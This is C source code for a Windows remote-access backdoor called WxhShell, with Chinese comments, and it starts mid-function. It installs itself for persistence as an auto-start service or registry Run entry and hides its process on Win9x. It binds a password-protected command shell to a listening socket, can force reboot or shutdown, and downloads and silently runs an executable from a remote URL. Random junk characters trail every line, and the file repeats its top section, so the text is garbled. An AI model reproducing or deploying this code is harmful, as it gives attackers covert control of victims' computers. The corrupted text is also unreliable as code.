    closesocket(wsh); Z}{]/=h  
    ExitThread(0); Xpp v  
    } Uf MQ?(,  
    break; CM%;/[WBxy  
    } ?J-\}X  
  // 获取shell yL),G*[p\}  
  case 's': { QN|=/c<U  
    CmdShell(wsh); mX!*|$bs  
    closesocket(wsh); sWB@'P:x  
    ExitThread(0); ([^#.x)hz  
    break; :@a0h  
  } [!MS1v c;  
  // 退出 9dm<(I}  
  case 'x': { \&~YFjB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RAnF=1[v  
    CloseIt(wsh); pe<T" [X  
    break; ]0BX5Z'  
    } kKjcW` [  
  // 离开 Y]5spqG  
  case 'q': { 5W$Jxuyqj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /Kq'3[d8  
    closesocket(wsh); 'Ebjn>"  
    WSACleanup(); (&v,3>3]  
    exit(1); A\W) uwyN  
    break;  D[}^G5  
        } f/s"2r  
  } UR9\g(  
  } ,7k-LAA  
ALcPbr  
  // 提示信息 NqGSoOjIO2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8!HB$vdw7  
} cx ("F /Jm  
  } 74N3wi5B  
z&Aya*0v`  
  return; t\ a|Gp W  
} p&5>j\uJ1&  
H?!DcUg CC  
// shell模块句柄 CJ7S5   
int CmdShell(SOCKET sock) q VI0?B x  
{ =9W\;xE S  
STARTUPINFO si; }/h&`0z `  
ZeroMemory(&si,sizeof(si)); t72rCq QC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KU*aJl_n,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4=EA3`l  
PROCESS_INFORMATION ProcessInfo; 7S^G]g!x  
char cmdline[]="cmd"; 8qaU[u&$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g<,0kl2'S  
  return 0; 0 q1x+  
} ,,+4d :8$  
8ICV"8(  
// 自身启动模式 6GPI gPL,  
int StartFromService(void) /AyxkXq  
{ Y/"t!   
typedef struct O|)b$H_  
{ 3"< 0_3?W  
  DWORD ExitStatus; "^!y>]j#A  
  DWORD PebBaseAddress; *,%$l+\h  
  DWORD AffinityMask; u`.)O2)xU  
  DWORD BasePriority; uv<_.Jq]  
  ULONG UniqueProcessId; zx,9x*g  
  ULONG InheritedFromUniqueProcessId; So8 Dwz?  
}   PROCESS_BASIC_INFORMATION; T:zM]%Xh  
i;s;:{cn  
PROCNTQSIP NtQueryInformationProcess; Pr(@&:v:  
{ PJ>gX$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A<"< DDy  
GBWL0'COV  
  HANDLE             hProcess; UV0[S8A  
  PROCESS_BASIC_INFORMATION pbi; j;7E+Yp  
D6l. x]K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9jX_Eoxy  
  if(NULL == hInst ) return 0; gzqp=I[%  
YYPJ (o\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b GI){0A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h3&|yS|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Crg'AB?  
?w'86^_z  
  if (!NtQueryInformationProcess) return 0; xy4+ [u  
(Nk[ys}%*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v3FdlE  
  if(!hProcess) return 0; AO]cnh C  
|#M|"7;2z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *8m['$oyV  
qk3|fW/-  
  CloseHandle(hProcess); hjM?D`5x  
r 1jt~0&K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A_9J ~3  
if(hProcess==NULL) return 0; ^3S&LC 1;|  
D>@NYqMF  
HMODULE hMod; 5oSp/M  
char procName[255]; :$,MAQ'9  
unsigned long cbNeeded; o|xZ?#^h  
Y&8,f|{R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VN`fZ5*d~  
rQ_@q_B.  
  CloseHandle(hProcess); %lWOW2~R  
# Q,EL73;  
if(strstr(procName,"services")) return 1; // 以服务启动 X<Z(,B  
3X11Gl  
  return 0; // 注册表启动 x.wDA3ys  
} 7`&ISRU4  
l v hJ  
// 主模块 &KAe+~aPm  
int StartWxhshell(LPSTR lpCmdLine) {, +c  
{ Ez0zk9  
  SOCKET wsl; M}#DX=NZc  
BOOL val=TRUE; D9A%8o  
  int port=0; f$:SacF  
  struct sockaddr_in door; r{9fm,  
%Q0R] Hg  
  if(wscfg.ws_autoins) Install(); i!e8-gVMP&  
vr'cR2  
port=atoi(lpCmdLine); dzPewOre*  
K)~aH  
if(port<=0) port=wscfg.ws_port; {vCtp   
1^X)vck  
  WSADATA data; _"L6mcI6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o0f`/ 6o  
y32$b,%Xi,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3]*1%=~X/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I 4?oBq  
  door.sin_family = AF_INET; /\h*v!:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?_^{9q%9  
  door.sin_port = htons(port); ZIc.MNq  
_UP fqC ?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o!K DeY  
closesocket(wsl); ""a$[[ %WC  
return 1; 9Pe$}N  
} H(K PU1lDw  
@x+2b0 b  
  if(listen(wsl,2) == INVALID_SOCKET) { j;Z?q%M{6  
closesocket(wsl); ;-kDJ i  
return 1; BR@m*JGajz  
} URrx7F98  
  Wxhshell(wsl); qx[c0X!  
  WSACleanup(); ektU,Oo  
)3:0TFS}}k  
return 0; ]kTxVe  
3dj|jw5  
} +jwHYfAK)  
`w\P- q  
// 以NT服务方式启动 9yC22C:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |oXd4  
{ ZDbe]9#Xh  
DWORD   status = 0; Q]/%Y[%|  
  DWORD   specificError = 0xfffffff; QR'#]k;>%  
w"s@q$}]8M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FZj>N(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \"nut7";2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o?hr>b  
  serviceStatus.dwWin32ExitCode     = 0; p ZTrh&I]  
  serviceStatus.dwServiceSpecificExitCode = 0; UWvVYdy7  
  serviceStatus.dwCheckPoint       = 0; ]{\ttb%GX  
  serviceStatus.dwWaitHint       = 0; [A!w  
@|DQZt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Coe/4! $M  
  if (hServiceStatusHandle==0) return; .Lna\Bv  
pLtw|S'4  
status = GetLastError(); 2icQ (H;  
  if (status!=NO_ERROR) e@W+ehx"  
{ M lR~`B}m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /z*Z+OT2  
    serviceStatus.dwCheckPoint       = 0; O.(2  
    serviceStatus.dwWaitHint       = 0; * /n8T]s  
    serviceStatus.dwWin32ExitCode     = status; _<F)G,=  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4A!]kj 5T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jTcv&`fAz  
    return; X&?s:A  
  } n%7?G=_kj  
u6ULk<<\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ()?83Xj[c  
  serviceStatus.dwCheckPoint       = 0; LsuOmB|^  
  serviceStatus.dwWaitHint       = 0; (jDz[b#OPz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }r5yAE  
} `IUn{I  
UE.kR+1  
// 处理NT服务事件,比如:启动、停止 KaNs>[a8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z%qtAPd  
{ 3>aEP5  
switch(fdwControl) bPU i44P  
{ ?zf3Fn2y  
case SERVICE_CONTROL_STOP: zR^Gy"  
  serviceStatus.dwWin32ExitCode = 0; i9DD)Y<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M>]A! W=  
  serviceStatus.dwCheckPoint   = 0; \MOwp@|y  
  serviceStatus.dwWaitHint     = 0; j,+]tHC-  
  { ]$[sfPKA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *kl  :/#  
  } $}gM JG  
  return; k_=yb^6[U  
case SERVICE_CONTROL_PAUSE: j fY7ich  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ey|_e3Lf[  
  break;  Qw}1q!89  
case SERVICE_CONTROL_CONTINUE: !ka* rd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !B}9gT  
  break; 7t:RQ`$:  
case SERVICE_CONTROL_INTERROGATE: Lz'VQO1U=  
  break; gVOAB-nw  
}; Z,.Hz\y1D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pi?MAE*f  
} TQF+aP8[L  
F^ 75y?  
// 标准应用程序主函数 c>B1cR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "s(~k  
{ "0P`=n  
t~->&Ja   
// 获取操作系统版本 &Vz$0{d5  
OsIsNt=GetOsVer(); ZNX38<3h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qq| 5[I.?  
'p&,'+x  
  // 从命令行安装 9Rnypzds  
  if(strpbrk(lpCmdLine,"iI")) Install(); o eU i  
J +u}uN@  
  // 下载执行文件 ) CP  
if(wscfg.ws_downexe) { Fz%;_%j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N]A# ecm  
  WinExec(wscfg.ws_filenam,SW_HIDE); 52e>f5m.  
} ?l0Qi  
br[iRda@  
if(!OsIsNt) { '+PKGmRW  
// 如果时win9x,隐藏进程并且设置为注册表启动 WTJ 0Q0U  
HideProc(); 1`&`y%c?B  
StartWxhshell(lpCmdLine); U#` e~d t<  
} mLX/xM/T?/  
else  x]+PWk  
  if(StartFromService()) "jFf}"  
  // 以服务方式启动 s<9g3Gh  
  StartServiceCtrlDispatcher(DispatchTable); 6l]X{A.  
else A9$x8x*Lt  
  // 普通方式启动 o$rjGa l  
  StartWxhshell(lpCmdLine); k {*QU(  
ysW})#7X  
return 0; >NRppPqL  
} %;,fI'M  
ci~#G[_$S  
^`&'u_B!+  
r7m~.M+W"  
=========================================== b dgkA  
H@Z_P p?  
;)(g$r^_i  
D@O `"2  
$5R2QNg n  
cMw<3u\  
" 6>a6;[  
m9 h '!X<  
#include <stdio.h> 8h=t%zMSb  
#include <string.h> f!9i6  
#include <windows.h> 4<y   
#include <winsock2.h> Zse&{  
#include <winsvc.h> $9)os7H7  
#include <urlmon.h> jf~](TK  
k?+ 7%A]  
#pragma comment (lib, "Ws2_32.lib") WAa45G  
#pragma comment (lib, "urlmon.lib") B*(]T|ff<  
p)y5[HX  
#define MAX_USER   100 // 最大客户端连接数 53HA6:Q[  
#define BUF_SOCK   200 // sock buffer [FO4x`  
#define KEY_BUFF   255 // 输入 buffer c|&3e84U  
6hxZ5&;(*  
#define REBOOT     0   // 重启 a+w2cN'  
#define SHUTDOWN   1   // 关机 QNj]wm=mp  
{M]_]L{&7  
#define DEF_PORT   5000 // 监听端口 G;Li!H  
Nd~B$venh  
#define REG_LEN     16   // 注册表键长度 s2; ~FK#/  
#define SVC_LEN     80   // NT服务名长度 1 /. BP  
A~?M`L>B  
// 从dll定义API ,i2-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ig,.>'+l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o*cu-j3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cq1 5@a mX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qX\*l m/l  
<xI<^r'C9e  
// wxhshell配置信息 8 #_pkVQw:  
struct WSCFG { O=B =0  
  int ws_port;         // 监听端口 H+v&4}f  
  char ws_passstr[REG_LEN]; // 口令 T+kV~ w{  
  int ws_autoins;       // 安装标记, 1=yes 0=no fkA+:j~z_  
  char ws_regname[REG_LEN]; // 注册表键名 AI|vL4*Xd  
  char ws_svcname[REG_LEN]; // 服务名 "4N&T#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1[%3kY-h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?:(y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =8AT[.Hh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nu5|tf9%A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %5o2I_Cjz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )l3Uf&v^f  
<!OBpAq  
}; I652Fcj  
^/f~\ #R  
// default Wxhshell configuration 7EJ2 On  
struct WSCFG wscfg={DEF_PORT, PTQ#8(_,  
    "xuhuanlingzhe",  WR;1  
    1, HK;NR.D  
    "Wxhshell", LP2~UVq  
    "Wxhshell", [h/T IGE\  
            "WxhShell Service",  ;Shu  
    "Wrsky Windows CmdShell Service", lA^1}  
    "Please Input Your Password: ", _D '(R  
  1, [&)]-2w2  
  "http://www.wrsky.com/wxhshell.exe", OUX7 *_  
  "Wxhshell.exe" uYh!04u  
    }; 02;jeZ#z  
/0s1;?  
// 消息定义模块 a=z] tTs4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M(%H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e &6%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TZn 15-O  
char *msg_ws_ext="\n\rExit."; %w`d  
char *msg_ws_end="\n\rQuit."; m'o dVZ7  
char *msg_ws_boot="\n\rReboot..."; ^_2c\mw_I  
char *msg_ws_poff="\n\rShutdown..."; CMt<oT6.?  
char *msg_ws_down="\n\rSave to "; $O"ss>8Se  
%yRXOt2(  
char *msg_ws_err="\n\rErr!"; "Xq_N4  
char *msg_ws_ok="\n\rOK!"; 8=8 hbdy;  
lx)^wAO4  
char ExeFile[MAX_PATH]; @DN/]P  
int nUser = 0; 8&<mg;H,  
HANDLE handles[MAX_USER]; jK|n^5\  
int OsIsNt; e4z`:%vy  
Q6h+.  
SERVICE_STATUS       serviceStatus; PL/g| ;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -F5B Jk  
honh 'j  
// 函数声明 X1j8tg  
int Install(void); iT]t`7R  
int Uninstall(void); Rh>B# \  
int DownloadFile(char *sURL, SOCKET wsh); $7x2TiAL  
int Boot(int flag); mRk)5{  
void HideProc(void); +QChD*  
int GetOsVer(void); i8]EIXbMX  
int Wxhshell(SOCKET wsl); gabfb#  
void TalkWithClient(void *cs); 8z=# 0+0  
int CmdShell(SOCKET sock); 77>oQ~q  
int StartFromService(void); 8mI(0m'  
int StartWxhshell(LPSTR lpCmdLine); 0At0`Q#  
o) )` "^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c6h?b[]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); inut'@=G/  
5'2kP{;  
// 数据结构和表定义 KC/O EJ`  
SERVICE_TABLE_ENTRY DispatchTable[] = {6i|"5_j  
{ ~?Zib1f)  
{wscfg.ws_svcname, NTServiceMain}, [vg&E )V  
{NULL, NULL} oC0ndp~+&  
}; 56V|=MzX]  
;mQj2Bwr  
// 自我安装 #]` uH{  
int Install(void) fBSa8D3}`  
{ at uqo3  
  char svExeFile[MAX_PATH]; 4~fYG|a  
  HKEY key; NL2 1se  
  strcpy(svExeFile,ExeFile); n`Q@<op  
K;F1'5+=D  
// 如果是win9x系统,修改注册表设为自启动 01cBAu   
if(!OsIsNt) { Q\Ek U.[I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SUS=sR/N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fG0?"x@>  
  RegCloseKey(key); gZ@+62  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RGW@@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'I[?R&j$G  
  RegCloseKey(key); fdl.3~.C  
  return 0; c(Q@5@1y:  
    } H:fKv7XL  
  } I}C2;[aB  
} v$ ti=uk$  
else { YWZ;@,W  
%>KbaM1b  
// 如果是NT以上系统,安装为系统服务 pMfb(D"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gV_v5sk  
if (schSCManager!=0) ?f?5Kye  
{ UU=]lWib  
  SC_HANDLE schService = CreateService 0eY!Z._^  
  ( L2H  
  schSCManager, j.E=WLKV*  
  wscfg.ws_svcname, wgl<JO  
  wscfg.ws_svcdisp, ) Sn0Y B  
  SERVICE_ALL_ACCESS, $xO8?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m:@y_:X0  
  SERVICE_AUTO_START, IJ^~,+  
  SERVICE_ERROR_NORMAL, 'a#lBzu\b  
  svExeFile, 5`h$^l/  
  NULL, lM-9J?j  
  NULL, $n<a`PdH  
  NULL, -FZC|[is  
  NULL, =?5)M_6)  
  NULL FnvpnU",  
  ); GJ9>i)+h;  
  if (schService!=0) yD+4YD  
  { 0Lo8pe`DH  
  CloseServiceHandle(schService);  .NOAp  
  CloseServiceHandle(schSCManager); :i.@d?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L(y70T  
  strcat(svExeFile,wscfg.ws_svcname); l=?e0d>O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (< +A  w7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (Pc>D';{S  
  RegCloseKey(key); Hw \of  
  return 0; $/wm k7T  
    } e]4$H.dP  
  } c'oiW)8;A  
  CloseServiceHandle(schSCManager); $ XjijD9R  
} \n<! ld  
} VLuHuih  
5m8u:6kQu  
return 1; )/RG-L  
} 4'QX1p  
q G%Y& P  
// 自我卸载 x|O7}oj  
int Uninstall(void) v,w af`)J  
{ Giyh( DL  
  HKEY key; yE}\4_0I/  
&8$v~  
if(!OsIsNt) { *5)UIRd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ';C'9k<P:  
  RegDeleteValue(key,wscfg.ws_regname); gk6f_0?X'  
  RegCloseKey(key); 1!z{{H;W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'Lu<2=a~  
  RegDeleteValue(key,wscfg.ws_regname); )vW'g3u_  
  RegCloseKey(key); *Fy6 -CC1  
  return 0; "Zp&7hI  
  } z\ZnxZ@  
} Qs1p  
} JK$3qUDnI  
else {  "J(M.Y  
J!:BCjRdw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  ?eS;Yc  
if (schSCManager!=0) YBt=8`r  
{ J(]|)?x2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kL8rqv^  
  if (schService!=0) 9c@M(U@Yh  
  { ng}C$d . I  
  if(DeleteService(schService)!=0) { K_YrdA)6  
  CloseServiceHandle(schService); 9$)&b\D  
  CloseServiceHandle(schSCManager); JL M Xkcc  
  return 0; $nt&'Xnv  
  } {irc0gI  
  CloseServiceHandle(schService); g89@>?Mn  
  } H^d?(Svh  
  CloseServiceHandle(schSCManager); l7-lXl"%q  
} Tg{5%~L]   
} #/oH #/?  
+ktv : d  
return 1; %o?)`z9-  
} D Q.4b  
ebBi zc=  
// 从指定url下载文件 r8 9o  
int DownloadFile(char *sURL, SOCKET wsh) _vTr?jjfK  
{ UarLxPQ  
  HRESULT hr; T]th3*  
char seps[]= "/"; a_b#hM/c;  
char *token; Fb{N>*l.  
char *file; VrIN.x  
char myURL[MAX_PATH]; <^YvgQ,m  
char myFILE[MAX_PATH]; Yq ]sPE92  
1jKpLTSs  
strcpy(myURL,sURL); m.D8@[y  
  token=strtok(myURL,seps); [Hh*lKg  
  while(token!=NULL) i-|N6J  
  { 7 yE\,  
    file=token; [* <x)  
  token=strtok(NULL,seps); S~/2Bw!2  
  } \5a.JfF  
UFj H8jSBx  
GetCurrentDirectory(MAX_PATH,myFILE); )Rn\6ka  
strcat(myFILE, "\\"); e]~p:  
strcat(myFILE, file); }m+Q(2  
  send(wsh,myFILE,strlen(myFILE),0); #D9.A7fCc5  
send(wsh,"...",3,0); i^DMnvV.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  }u8(7  
  if(hr==S_OK) uWJJ\  
return 0; u8c@q'_  
else Sr \y1nt  
return 1; ;"M6}5dQ4  
~vXbh(MX  
} k A3K   
t oGiG|L  
// 系统电源模块 w[X-Q+7p(t  
int Boot(int flag) rl}<&aPH  
{ KKC%!Xy  
  HANDLE hToken; F!z ^0+H(  
  TOKEN_PRIVILEGES tkp; 2E1`r@L  
h *R@ d  
  if(OsIsNt) { r^5%0_F]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8i',~[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I8XP`Ccq  
    tkp.PrivilegeCount = 1; qur2t8gnxq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lie,A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,zgz7  
if(flag==REBOOT) { ,sitOy}ks  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +zh\W9  
  return 0; UVux[qX<  
} 4EM+Ye  
else { xt}.0dC!/%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Gwk$<6E  
  return 0; ,8r?C!m]  
} Jg$<2CR&  
  } LDQ,SS,  
  else { FO*Gc Z  
if(flag==REBOOT) { }||u {[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {&+M.Xn  
  return 0; {D[6=\ F  
} k9%o{Uzy  
else { t`B@01;8A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8&U Mmbgy  
  return 0; 0si1:+t-[+  
} :\[l~S  
} X,G<D}  
NK qI x  
return 1; 4s 7 RB  
} wQG?)aaM  
,ayEZ#4.m  
// win9x进程隐藏模块 !=eNr<:V.  
void HideProc(void) $wAR cS  
{ Ba[,9l[  
W yM1s+@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); - VJx)g  
  if ( hKernel != NULL ) =803rNe  
  { vCP[7KhGj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qb[hKp5K6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L2>e@p\>  
    FreeLibrary(hKernel); |Y K,&  
  } &{e ]S!D  
%T]$kF++&  
return; 1 tOslP@  
} hEHd$tH06  
PIU@ }:}  
// 获取操作系统版本 ]A2E2~~G  
int GetOsVer(void) Ah1 9#0  
{ t#"0^$l=  
  OSVERSIONINFO winfo; joI)6c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x/?ET1iGt  
  GetVersionEx(&winfo); 36Lkcda[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1(@$bsgu2  
  return 1; ~vA{I%z5~  
  else !S=YM<Ad  
  return 0; \2kLj2!  
} &%rM|  
Xr  <H^X  
// 客户端句柄模块 l_}d Q&R  
int Wxhshell(SOCKET wsl) |RL#BKC`  
{ `h@fW- r  
  SOCKET wsh; \96\!7$@O  
  struct sockaddr_in client; QdgJNT<=H,  
  DWORD myID; $w*L' <  
4|K\pCw  
  while(nUser<MAX_USER) UF7h{V})  
{ Wh i#Ii~  
  int nSize=sizeof(client); %[|^7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 42]7N3:'  
  if(wsh==INVALID_SOCKET) return 1; #_.J kY  
|'z8>1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E[t0b5h  
if(handles[nUser]==0) 2 `>a(  
  closesocket(wsh); cCZp6^/<x  
else y7hDMQ c'  
  nUser++; >$'z4TC\T  
  } 36{GZDGQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >[Vc$[62  
;p+'?%Y}  
  return 0; J$51z  
} N`Q.u-'  
8</wQ6&|  
// 关闭 socket =dPokLXn  
void CloseIt(SOCKET wsh) Kkp dcc  
{ k7iko{5D  
closesocket(wsh); |^l_F1+w  
nUser--; {V/>5pz4e  
ExitThread(0);  p?f\/  
} [uU!\xe  
AY5iTbL1  
// 客户端请求句柄 Y5tyFi#w[  
void TalkWithClient(void *cs) T)gulP  
{ ^7y t>  
3'.@aMA@  
  SOCKET wsh=(SOCKET)cs; bVUIeX'  
  char pwd[SVC_LEN]; n/skDx TE  
  char cmd[KEY_BUFF]; k^Qf |  
char chr[1]; N#l2wT  
int i,j; ?)1Y|W'Rv  
ol"|?*3q  
  while (nUser < MAX_USER) { kY$EK]s  
~Fuq{e9`  
if(wscfg.ws_passstr) { XY| y1L 3[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 44} 5o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jM\{*!7b  
  //ZeroMemory(pwd,KEY_BUFF); &1Ndi<Y^  
      i=0; _94 W@dW  
  while(i<SVC_LEN) { ??"_o3  
qf(mJlU  
  // 设置超时 Ef#LRcG-Z  
  fd_set FdRead; d[_26.  
  struct timeval TimeOut; *U^Y@""a  
  FD_ZERO(&FdRead); j4owo#OB-  
  FD_SET(wsh,&FdRead); ,*iA38d.!  
  TimeOut.tv_sec=8; bq E'9GI  
  TimeOut.tv_usec=0; D[yyFo,z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]$"eGHX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8NHm#Z3Ol  
6|NH*#s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @N4~|`?U  
  pwd=chr[0]; .v+JV6!u  
  if(chr[0]==0xd || chr[0]==0xa) { 2#7|zhgb  
  pwd=0; r""rJzFz'  
  break; !uGfS' Vl  
  } I&+.IK_  
  i++; w&?XsO@0W  
    } nW)+-Wxq  
p{L;)WTI  
  // 如果是非法用户,关闭 socket 1*8;)#%&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6=;:[  
} 2Xl+}M.:Y  
j+h+Y|4J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hty'L61\z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B4b'0p  
|H t5a.  
while(1) { kumV|$Y?kA  
S=k!8]/d|  
  ZeroMemory(cmd,KEY_BUFF); Q~]oN  
x1eC r_  
      // 自动支持客户端 telnet标准   (%fQhQ  
  j=0; ]u5TvI,C  
  while(j<KEY_BUFF) { Hi09?AX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C*2%Ix18+N  
  cmd[j]=chr[0]; fi HE`]0  
  if(chr[0]==0xa || chr[0]==0xd) { 2?~nA2+vm  
  cmd[j]=0; !}!KT(% %  
  break; :C_/K(Rkl  
  } (C. $w  
  j++; i%9vZ  
    } m~&  
<'4Wne.z!  
  // 下载文件 D;!sH?J@+  
  if(strstr(cmd,"http://")) { kD#n/R Bgf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W+i^tmj  
  if(DownloadFile(cmd,wsh)) c6[m'cy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >B{qPrmI  
  else 0ZjT.Ep  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iL;V5|(sb  
  } Z)|~  
  else { ?r !kKMZ  
]S%_&ZMCM  
    switch(cmd[0]) { MUl`0H"tR  
  lW c[Q1  
  // 帮助 6vK`J"d{~D  
  case '?': { qefp3&ls  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9^!.!%6O$  
    break; >3/ mV<g f  
  } wK2$hsque  
